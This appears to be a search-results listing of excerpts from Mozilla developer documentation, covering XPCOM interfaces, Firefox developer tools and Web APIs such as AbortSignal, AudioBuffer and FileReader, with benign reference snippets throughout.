1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the caller of nsiauthprompt2.promptusernameandpassword() or nsiauthprompt2.promptpasswordasync() provides an object implementing this interface; the prompt implementation can then read the values here to prefill the dialog.
...attributes attribute type description authenticationscheme autf8string the authentication scheme used for this request, if applicable.
... if the protocol for this authentication does not support schemes, this will be the empty string.
...And 4 more matches
nsIAuthPrompt2
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is usually acquired using getinterface on notification callbacks or similar.
... it can be used to prompt users for authentication information, either synchronously or asynchronously.
...to create an instance, use: var authprompt2 = components.classes["@mozilla.org/login-manager/prompter;1"] .createinstance(components.interfaces.nsiauthprompt2); method overview nsicancelable asyncpromptauth(in nsichannel achannel, in nsiauthpromptcallback acallback, in nsisupports acontext, in pruint32 level, in nsiauthinformation authinfo); boolean promptauth(in nsichannel achannel, in pruint32 level, in nsiauthinformation authinfo); constants constant value description level_none 0 the password will be sent unencrypted.
...And 4 more matches
nsIAutoCompleteObserver
toolkit/components/autocomplete/public/nsiautocompletesearch.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void onsearchresult(in nsiautocompletesearch search, in nsiautocompleteresult result); void onupdatesearchresult(in nsiautocompletesearch search, in nsiautocompleteresult result); methods onsearchresult() called when a search is complete and the results are ready.
... void onsearchresult( in nsiautocompletesearch search, in nsiautocompleteresult result ); parameters search the search object that processed this search.
...And 4 more matches
nsIBinaryOutputStream
this might be used, for example, to implement network protocols or to produce architecture-neutral binary disk files, that is ones that can be read and written by both big-endian and little-endian platforms.
... inherits from: nsioutputstream last changed in gecko 1.7 method overview void setoutputstream(in nsioutputstream aoutputstream); void write8(in pruint8 abyte); void write16(in pruint16 a16); void write32(in pruint32 a32); void write64(in pruint64 a64); void writeboolean(in prbool aboolean); void writebytearray([array, size_is(alength)] in pruint8 abytes, in pruint32 alength); void writebytes(alength)] in string astring, in pruint32 alength); void writedouble(in double adouble); void writefloat(in float afloat); void writestringz(in string astring); void writeutf8z(in wstring astring); void writewstringz(in wstring astring); methods setoutputstream() sets th...
...e stream to which output is directed.
...And 4 more matches
nsIClipboardDragDropHooks
use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop.
... inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate).
...each hook can only be called once per user action/api.
...And 4 more matches
nsICommandLineHandler
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each command line handler is registered in the category "command-line-handler".
... the entries in this category are read in alphabetical order, and each category value is treated as a service contract id implementing this interface.
...example: category entry value command-line-handler b-jsdebug @mozilla.org/venkman/clh;1 command-line-handler c-extensions @mozilla.org/extension-manager/clh;1 command-line-handler m-edit @mozilla.org/composer/clh;1 command-line-handler m-irc @mozilla.org/chatzilla/clh;1 command-line-handler y-final @mozilla.org/browser/clh-final;1 method overview void handle(in nsicommandline acommandline); attributes attribute type description helpinfo autf8string when the application is launched with the -help argument, this attribute is retrieved an...
...And 4 more matches
nsIDOMGeoGeolocation
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports implemented by: @mozilla.org/geolocation;1.
...n = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsidomgeogeolocation); note: if nsidgeogeolocation throws an exception when importing, try using this: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsisupports); method overview void clearwatch(in unsigned short watchid); void getcurrentposition(in nsidomgeopositioncallback successcallback, [optional] in nsidomgeopositionerrorcallback errorcallback, [optional] in nsidomgeopositionoptions options); unsigned short watchposition(in nsidomgeopositioncallback successcallback, [optional] ...
... methods clearwatch() when the clearwatch() method is called, the watch() process stops calling for new position identifiers and cease invoking callbacks.
...And 4 more matches
nsIDOMSerializer
content/base/public/nsidomserializer.idlscriptable this interface is really a placeholder till the w3c dom working group defines a mechanism for serializing dom nodes.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xmlextras/xmlserializer;1.
... to create an instance, use: var domserializer = components.classes["@mozilla.org/xmlextras/xmlserializer;1"] .createinstance(components.interfaces.nsidomserializer); method overview void serializetostream(in nsidomnode root, in nsioutputstream stream, in autf8string charset); astring serializetostring(in nsidomnode root); methods serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified.
...And 4 more matches
nsIDOMStorage
1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) a dom window's session storage object can be retrieved from the window's sessionstorage attribute.
... a storage object stores an arbitrary set of key-value pairs, which may be retrieved, modified and removed as needed.
...keys are stored in a particular order with the condition that this order not change by merely changing the value associated with a key, but the order may change when a key is added or removed.
...And 4 more matches
nsIExternalHelperAppService
uriloader/exthandler/nsiexternalhelperappservice.idlscriptable the external helper app service is used for finding and launching platform specific external applications for a given mime content type.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/uriloader/external-helper-app-service;1.
...boolean applydecodingforextension( in autf8string aextension, in acstring aencodingtype ); parameters aextension the filename extension to check.
...And 4 more matches
nsIFeedProcessor
1.0 66 introduced gecko 1.8.1 inherits from: nsistreamlistener last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-processor;1.
... methods parseasync() parses a feed asynchronously.
...you must not call any of the other parsing methods on the nsifeedprocessor interface during an asynchronous parse.
...And 4 more matches
nsIFrameScriptLoader
if this function is called on a chromemessagebroadcaster (for example, a global frame message manager or a window message manager) then: loadframescript() will load the frame script independently into each applicable frame: every open frame in the given window for the window message manager, or every frame in every window for the global message manager if aallowdelayedload is true, then the script will also be loaded into any ...
... if this function is called on a chromemessagesender: it will load the frame script only into this chromemessagesender's frame aallowdelayedload should always be true.
... it's possible that the frame for this chromemessagesender is not yet available at the time of the loadframescript() call, and if you pass false in this situation, your process script won't be loaded.
...And 4 more matches
nsIHttpHeaderVisitor
inherits from: nsisupports last changed in gecko 1.7 method overview void visitheader(in acstring aheader, in acstring avalue); methods visitheader() called by the nsihttpchannel implementation when visiting request and response headers.
... this method can throw an exception to terminate enumeration of the channel's headers.
... void visitheader( in acstring aheader, in acstring avalue ); parameters aheader a string containing the key for a header such as "content-type" avalue the header's value field such as "text/html".
...And 4 more matches
nsIINIParserWriter
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) this interface provides methods that allow writing to ini-format configuration files.
... .getservice(components.interfaces.nsiiniparserfactory) .createiniparser(somelocalfile) .queryinterface(components.interfaces.nsiiniparserwriter); here, somelocalfile is an nsifile based object, such as an nsilocalfile.
... this indicates the file into which the ini data will be written.
...And 4 more matches
nsIJSON
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) note: this interface may only be used from javascript code, with the exception of the legacydecodetojsval() method.
... void encodetostream(in nsioutputstream stream, in string charset, in boolean writebom, in jsobject value); jsval legacydecode(in astring str); deprecated since gecko 2.0 jsval legacydecodefromstream(in astring str); deprecated since gecko 2.0 jsval legacydecodetojsval(in astring str, in jscontext cx); native code only!
... jsobject decodefromstream( in nsiinputstream stream, in long contentlength ); parameters stream the nsiinputstream from which to read the json string.
...And 4 more matches
nsIMarkupDocumentViewer
inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview void scrolltonode(in nsidomnode node); void sizetocontent(); attributes attribute type description allowplugins boolean if true, plugins are allowed within the doc shell.
...obsolete since gecko 1.8 authorstyledisabled boolean disable entire author style level (including html presentation hints) bidicharacterset octet whether to force the user's character set 1 - use the document character set 2 - use the character set chosen by the user.
...1 - the default order for the charset 2 - logical order 3 - visual order.
...And 4 more matches
nsIPipe
inherits from: nsisupports last changed in gecko 1.6 method overview void init(in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator); attributes attribute type description inputstream nsiasyncinputstream the pipe's input end, which also implements nsisearchableinputstream.
...as a result, the pipe is an ideal mechanism to bridge data exchange between two threads.
... for example, a worker thread might write data to a pipe from which the main thread will read.
...And 4 more matches
nsIPrivateBrowsingService
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21.
... the browser itself stops caching, and also doesn't record history information.
... similarly, plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable.
...And 4 more matches
nsIScriptError2
js/src/xpconnect/idl/nsiscripterror.idlscriptable represents javascript errors and warnings for use by the console service; augments nsiscripterror by adding a way to initialize the error with the window id of the outer window with which the error is associated.
... 1.0 66 introduced gecko 2.0 obsolete gecko 12.0 inherits from: nsiscripterror last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) in gecko 12.0 this interface was merged into the nsiscripterror interface.
... method overview void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); attributes attribute type description innerwindowid unsigned long long the inner window id with which the error is associated.
...And 4 more matches
nsISocketTransport
inherits from: nsitransport last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: connection setup is triggered by opening an input or output stream, it does not start on its own.
... note: this attribute cannot be changed once a stream has been opened.
...the values of these status codes must never change.
...And 4 more matches
nsIStandardURL
inherits from: nsimutable last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-url;1.
... to create an instance, use: var standardurl = components.classes["@mozilla.org/network/standard-url;1"] .createinstance(components.interfaces.nsistandardurl); method overview void init(in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not this url can be modified.
...void init( in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri ); parameters aurltype one of the constants listed above.
...And 4 more matches
nsIStringBundleService
intl/strres/nsistringbundle.idlscriptable provides the string bundle service, which provides a way to fetch localized strings from a property file.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/stringbundle;1.
...chrome://global/locale/global.properties return value a string bundle corresponding to the properties file.
...And 4 more matches
nsITextInputProcessorNotification
dom/interfaces/base/nsitextinputprocessorcallback.idlscriptable this interface of a request or notification to ime 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface tells details of a request or notification to ime.
...so, nsitextinputprocessorcallback won't be changed for keeping backward compatibility.
... when this is requested, the callback should commit composition synchronously, i.e., nsitextinputprocessor.commitcomposition() should be called.
...And 4 more matches
nsIWindowCreator
the application, either mozilla or an embedding app, must provide an implementation of the window watcher component and notify the windowwatcher during application initialization.
... inherits from: nsisupports last changed in gecko 0.9.6 method overview nsiwebbrowserchrome createchromewindow(in nsiwebbrowserchrome parent, in pruint32 chromeflags); methods createchromewindow() create a new window.
...nsiwebbrowserchrome createchromewindow( in nsiwebbrowserchrome parent, in pruint32 chromeflags ); parameters parent the nsiwebbrowserchrome of the parent window, if any.
...And 4 more matches
nsIXmlRpcClient
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void init(in string serverurl); void setauthentication(in string username, in string password); void clearauthentication(in string username, in string password); void setencoding(in string encoding); void setencoding(in unsigned long type, out nsiidref uuid, out nsqiresult result); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description serverurl readonly n...
...null if the server was unreachable or not yet contacted.
...null if the server was unreachable or not yet contacted.
...And 4 more matches
nsIAbCard/Thunderbird3
in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.
... these functions are marked <code>[noscript] since xpcconnect performs automatic type conversion on nsivariant such that they are not needed for scripts, only for c++ callers.
...however, such constraints might not be checked by this method.
...And 4 more matches
nsIMsgCloudFileProvider
in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsirequestobserver acallback); acstring providerurlforerror(in unsigned long aerror); attributes attribute type description type acstring readonly: the type is a unique string identifier which can be used by interface elements for styling.
... as such, the type should be an alphanumpheric string with no spaces.
... iconclass acstring readonly: a chrome url for an icon to be used for representing the service.
...And 4 more matches
LDAP Support
mail compose typedown in mail compose, when typing a partial mail address, a typedown window appears listing possible matches against address books and ldap directories.
...in such a scenario, it may be hard to tell which person you really want to send the message to.
...this can be accomplished by setting the following preferences: user_pref("mail.autocomplete.commentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.commentformat", "[ou]"); the first preference tells us to use a comment column in the type down (the default value is 0 for no comment), and that the value for the comment is a custom string unique to each directory.
...And 4 more matches
Building a Thunderbird extension 1: introduction
it shares many of the technologies used by mozilla firefox, including javascript, the gecko layout engine, the xul xml user interface language and the xpcom cross-platform component object model.
...much of it may no longer be relevant.
...the tutorial has the following pages: introduction (this page) the extension filesystem (setting up your local system) install manifest (the install.rdf file that contains meta-information about the extension) chrome manifest (list of packages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascript (explains how to add some simple javascript to your thunderbird extension) installing locally (enabling the extension on your local thunderbird instance) packaging (making a distribution package that contains the extension) distributing (from your ...
...And 4 more matches
Working with ArrayBuffers
the js-ctypes equivalent is a ctypes.uint8_t.array(###) (ctypes.unsigned_char are also ctypes.uint8_t).
...])" myimgdat.data.set(casted); the ctypes.cast takes a couple of milliseconds, however, the myimgdat.data.set takes up to 800ms for a size of 52,428,800 (which is image size of 1280 x 1024 pixels).
... nindex = 0; nindex < casted.length; nindex = nindex + 4) { // casted.length is same as myimgdat.data.length var r = casted[nindex]; var g = casted[nindex + 1]; var b = casted[nindex + 2]; var a = casted[nindex + 3]; myimgdat.data[nindex] = r; myimgdat.data[nindex + 1] = g; myimgdat.data[nindex + 2] = b; myimgdat.data[nindex + 3] = a; } /***** or do the below which uses the .set method *****/ /** method b **/ var normalarr = []; for (var nindex = 0; nindex < cast.length; nindex = nindex + 4) { // casted.length is same as myimgdat.data.length var r = casted[nindex]; var g = casted[nindex + 1]; var b = casted[nindex + 2]; var a = casted[nindex + 3]; normalarr.push(r); normalarr.push(g); normalarr.push(b); normalarr.push(a); }...
...And 4 more matches
Gecko Plugin API Reference - Plugins
plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x dra...
...ns specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files...
... to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version finding out if a feature exists reloading a plug-in plug-in side plug-in api this chapter describes methods in the plug-in api that are available from the plug-in object.
...And 4 more matches
Deprecated tools - Firefox Developer Tools
scratchpad scratchpad is deprecated as of firefox 70 (bug 1565380), and will be removed as of firefox 72 (bug 1519103).
... description scratchpad provided an environment for experimenting with javascript code.
... alternatives in firefox 71+, you can write multi-line javascript code in the web console editor mode, making it similar to the scratchpad.
...And 4 more matches
Dominators - Firefox Developer Tools
this article provides an introduction to the concepts of reachability, shallow versus retained size, and dominators, as they apply in garbage-collected languages like javascript.
... these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will prevent the garbage collector from freeing that extra memory.
... reachability in modern javascript implementations, the runtime decides whether an object is no longer needed based on reachability.
...And 4 more matches
Edit Shape Paths in CSS - Firefox Developer Tools
activate / deactivate the shape path editor the shape path editor is accessed via the css rules panel, which can be opened as described in the guide to opening the inspector.
... a dashed line demonstrates the outline of the shape which extends past the margin box reference; this is the area that will be clipped by the margin box.
... in the rules panel you can see the values for circle() change as you edit the shape.
...And 4 more matches
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
the flexbox inspector allows you to examine css flexbox layouts using the firefox devtools, which is useful for discovering flex containers on a page, examining and modifying them, debugging layout issues, and more.
... this header is a flex container: each navbar link is a flex item: the nav element within the header is both a flex item and a flex container which holds the navigation links: in the css pane in the css pane's rules view, any instance of a display: flex declaration gets a small flexbox icon next to the word flex.
... clicking the icon toggles the display of an overlay on the page, which appears over the selected flex container that displays an outline around each flex item: the overlay will still be shown when you select other elements from the inspector panel, so you can edit related css properties and see how the flex items are affected by your changes.
...And 4 more matches
Allocations - Firefox Developer Tools
the allocations view in the performance tool shows you which functions in your page are allocating the most memory over the course of the profile.
... to enable the allocations view, you must check "record allocations" in the performance tool settings, before recording a profile.
...each row represents a function in which at least one allocation-sample was taken during the recording.
...And 4 more matches
Toolbox - Firefox Developer Tools
there are a few different ways to open the toolbox: select "toggle tools" from the web developer menu (under "tools" on os x and linux, or "firefox" on windows) click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "toggle tools" activate any tool hosted in the toolbox (for example, the javascript debugger or the page inspector) press ctrl + shift + i on windows and linux, or cmd + opt + i on os x.
... by default, the window appears docked to the bottom side of the firefox window, but you can detach it if you like.
... toolbox-hosted tools then there is an array of labeled buttons which enables you to switch between the different tools hosted by the toolbox.
...And 4 more matches
AbortController.signal - Web APIs
the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired.
... examples in the following snippet, we aim to download a video using the fetch api.
... when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
...And 4 more matches
AbortSignal - Web APIs
the abortsignal interface represents a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object.
... examples in the following snippet, we aim to download a video using the fetch api.
... when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
...And 4 more matches
AudioBuffer - Web APIs
the buffer contains data in the following format: non-interleaved ieee754 32-bit linear pcm with a nominal range between -1 and +1, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0.
... if the audiobuffer has multiple channels, they are stored in separate buffer.
... audiobuffer.numberofchannels read only returns an integer representing the number of discrete audio channels described by the pcm data stored in the buffer.
...And 4 more matches
AudioParam.setValueCurveAtTime() - Web APIs
the setvaluecurveattime() method of the audioparam interface schedules the parameter's value to change following a curve defined by a list of values.
... the curve is a linear interpolation between the sequence of values defined in an array of floating-point values, which are scaled to fit into the given interval starting at starttime and a specific duration.
... syntax var paramref = param.setvaluecurveattime(values, starttime, duration); parameters values an array of floating-point numbers representing the value curve the audioparam will change through along the specified duration.
...And 4 more matches
AudioProcessingEvent - Web APIs
the number of channels is defined as a parameter, numberofinputchannels, of the factory method audiocontext.createscriptprocessor().
...the number of channels is defined as a parameter, numberofoutputchannels, of the factory method audiocontext.createscriptprocessor().
... example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
...And 4 more matches
AudioTrack - Web APIs
properties enabled a boolean value which controls whether or not the audio track's sound is enabled.
... id read only a domstring which uniquely identifies the track within the media.
... kind read only a domstring specifying the category into which the track falls.
...And 4 more matches
AuthenticatorResponse.clientDataJSON - Web APIs
this property is only accessed on one of the child objects of authenticatorresponse, specifically authenticatorattestationresponse or authenticatorassertionresponse.
... properties after the clientdatajson object is converted from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created.
... challenge the base64url encoded version of the cryptographic challenge sent from the relying party's server.
...And 4 more matches
BasicCardRequest.supportedNetworks - Web APIs
value]] value an array containing one or more domstrings, which describe the card networks the retailer supports.
... legal values are defined in the w3c's document card network identifiers approved for use with payment request api, and are currently: amex cartebancaire diners discover jcb mastercard mir unionpay visa example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 4 more matches
BeforeInstallPromptEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/beforeinstallpromptevent" target="_top"><rect x="116" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeinstallpromptevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor beforeinstallpromptevent() creates a new beforeinstallpromptevent.
... beforeinstallpromptevent.platforms read only returns an array of domstring items containing the platforms on which the event was dispatched.
...And 4 more matches
BiquadFilterNode() - Web APIs
the biquadfilternode() constructor of the web audio api creates a new biquadfilternode object, which represents a simple low-order filter, and is created using the audiocontext.createbiquadfilter() method.
... options optional options are as follows: type: one of "lowpass", "highpass", "bandpass", "lowshelf", "highshelf", "peaking", "notch", "allpass".
... notch: the notch filter (also known as a band-stop, or band-rejection filter) is the opposite of a bandpass filter.
...And 4 more matches
BiquadFilterNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor biquadfilternode() creates a new instance of a biquadfilternode object.
...frequencies lower than the frequency get a boost, or an attenuation; frequencies over it are unchanged.
...frequencies higher than the frequency get a boost or an attenuation; frequencies lower than it are unchanged.
...And 4 more matches
uuid - Web APIs
the bluetoothremotegattdescriptor.uuid read-only property returns the uuid of the characteristic descriptor, for example '00002902-0000-1000-8000-00805f9b34fb' for theclient characteristic configuration descriptor.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetuuid experimentalchrome full support 57notes full support 57notes notes macos only.
...And 4 more matches
CanvasRenderingContext2D.drawWindow() - Web APIs
it is synchronous, and as such can't be compatible with fission.
... if you're using it from an extension, you should switch to tabs.capturetab.
... if you're writing chrome code, you probably want windowglobalparent.drawsnapshot from the parent process.
...And 4 more matches
CanvasRenderingContext2D.isPointInStroke() - Web APIs
syntax ctx.ispointinstroke(x, y); ctx.ispointinstroke(path, x, y); parameters x the x-axis coordinate of the point to check.
... y the y-axis coordinate of the point to check.
... path a path2d path to check against.
...And 4 more matches
Hit regions and accessibility - Web APIs
</canvas> tags can be used as a fallback for browsers which don't support canvas rendering.
... it's also very useful for assistive technology users (like screen readers) which can read and interpret the sub dom in it.
... partially overlaying the circle is a green <a href="http://en.wikipedia.org/wiki/square" onfocus="drawsquare();" onblur="drawpicture();">square</a> and a purple <a href="http://en.wikipedia.org/wiki/triangle" onfocus="drawtriangle();" onblur="drawpicture();">triangle</a>, both of which are semi-opaque, so the full circle can be seen underneath.</p> </canvas> see the video how nvda reads this example by steve faulkner.
...And 4 more matches
ConstantSourceNode.offset - Web APIs
the read-only offset property of the constantsourcenode interface returns a audioparam object indicating the numeric a-rate value which is always returned by the source when asked for the next sample.
...so you can change the value of offset by setting the value of constantsourcenode.offset.value: myconstantsourcenode.offset.value = newvalue; syntax let offsetparameter = constantaudionode.offset; let offset = constantsourcenode.offset.value; constantsourcenode.offset.value = newvalue; value an audioparam object indicating the a-rate value returned for every sample by this node.
... gainnode2 = context.creategain(); gainnode3 = context.creategain(); gainnode2.gain.value = gainnode3.gain.value = 0.5; volumeslidercontrol.value = gainnode2.gain.value; constantsource = context.createconstantsource(); constantsource.connect(gainnode2.gain); constantsource.connect(gainnode3.gain); first, the gain nodes are created and configured, and a slider control's value is set to match the gain on the two nodes.
...And 4 more matches
Credential Management API - Web APIs
for example, user agents have a particularly hard time dealing with federated identity providers or esoteric sign-in mechanisms that use more than just a username and password.
...this give users capabilities such as seeing the federated account they used to sign on to a site, or resuming a session without the explicit sign-in flow of an expired session.
...this is sometimes referred to as public suffix list (psl) matching; however the spec only recommends using psl to determine the effective scope of a credential.
...And 4 more matches
DOMMatrix - Web APIs
WebAPIDOMMatrix
the identity matrix is one in which every value is 0 except those on the main diagonal from top-left to bottom-right corner (in other words, where the offsets in each direction are equal).
... m11, m12, m13, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44 double-precision floating-point values representing each component of a 4×4 matrix, where m11 through m14 are the first column, m21 through m24 are the second column, and so forth.
... a, b, c, d, e, f double-precision floating-point values representing the components of a 4×4 matrix which are required in order to perform 2d rotations and translations.
...And 4 more matches
Binary strings - Web APIs
WebAPIDOMStringBinary
this means that each code unit requires two bytes of memory and is able to represent 65535 different code points.
... a subset of these strings is represented by utf-16 strings containing only ascii characters (i.e., characters whose code point does not exceed 127).
...its purpose however is not to represent characters, but binary data.
...And 4 more matches
DataTransfer - Web APIs
it may hold one or more data items, each of one or more data types.
... datatransfer.items read only gives a datatransferitemlist object which is a list of all of the drag data.
... datatransfer.mozsourcenode read only the node over which the mouse cursor was located when the button was pressed to initiate the drag operation.
...And 4 more matches
DeprecationReportBody - Web APIs
message a string containing a human-readable description of the deprecation, including information such as what newer feature has superceded it, if any.
... this typically matches the message a browser will display in its devtools console when a deprecated feature is used, if one is available.
... linenumber a number representing the line in the source file in which the deprecated feature was used, if known, or null otherwise.
...And 4 more matches
Document.getElementsByTagNameNS() - Web APIs
the complete document is searched, including the root node.
... name is either the local name of elements to look for or the special value *, which matches all elements (see element.localname).
...opera returns a nodelist, but with a nameditem method implemented, which makes it similar to a htmlcollection.
...And 4 more matches
DocumentFragment.querySelector() - Web APIs
the documentfragment.queryselector() method returns the first element, or null if no matches are found, within the documentfragment (using depth-first pre-order traversal of the document's nodes) that matches the specified group of selectors.
... if the selector matches an id and this id is erroneously used several times in the document, it returns the first matching element.
...to match id or selectors that do not follow the css syntax (by using semicolon or space inappropriately for example), it's mandatory to escape the wrong character with a double back slash: <div id="foo\bar"></div> <div id="foo:bar"></div> <script> document.queryselector('#foo\bar') // does not match anything document.queryselector('#foo\\\\bar') // match the first div document.queryselector('#foo:bar...
...And 4 more matches
Element.animate() - Web APIs
WebAPIElementanimate
the element interface's animate() method is a shortcut method which creates a new animation, applies it to the element, then plays the animation.
... options either an integer representing the animation's duration (in milliseconds), or an object containing one or more timing properties: id optional a property unique to animate(): a domstring with which to reference the animation.
... direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse).
...And 4 more matches
Element.closest() - Web APIs
WebAPIElementclosest
the closest() method traverses the element and its parents (heading toward the document root) until it finds a node that matches the provided selector string.
... will return itself or the matching ancestor.
... if no such element exists, it returns null.
...And 4 more matches
Element.getElementsByTagNameNS() - Web APIs
it is similar to document.getelementsbytagnamens, except that its search is restricted to descendants of the specified element.
... element is the element from where the search should start.
... note that only the descendants of this element are included in the search, not the node itself.
...And 4 more matches
Element.shadowRoot - Web APIs
use element.attachshadow() to add a shadow root to an existing element.
... syntax var shadowroot = element.shadowroot; value a shadowroot object instance, or null if the associated shadow root was attached with its mode set to closed.
... (see element.attachshadow() for further details).
...And 4 more matches
FileReader - Web APIs
the filereader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using file or blob objects to specify the file or data to read.
...this property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
...this event is triggered each time the reading operation is aborted.
...And 4 more matches
FileSystemDirectoryEntry.removeRecursively() - Web APIs
the filesystemdirectoryentry interface's method removerecursively() removes the directory as well as all of its content, hierarchically iterating over its entire subtree of descendant files and directories.
...receives a fileerror describing the error which occurred as input.
... if you try to delete a directory which contains one or more files that can't be removed, or if an error occurs while deletion of a number of files is underway, some files may not be deleted.
...And 4 more matches
FileSystemEntry.copyTo() - Web APIs
successcallback optional a function which is called when the copy operation is succesfully completed.
... errorcallback optional an optional callback which is executed if an error occurs while copying the items.
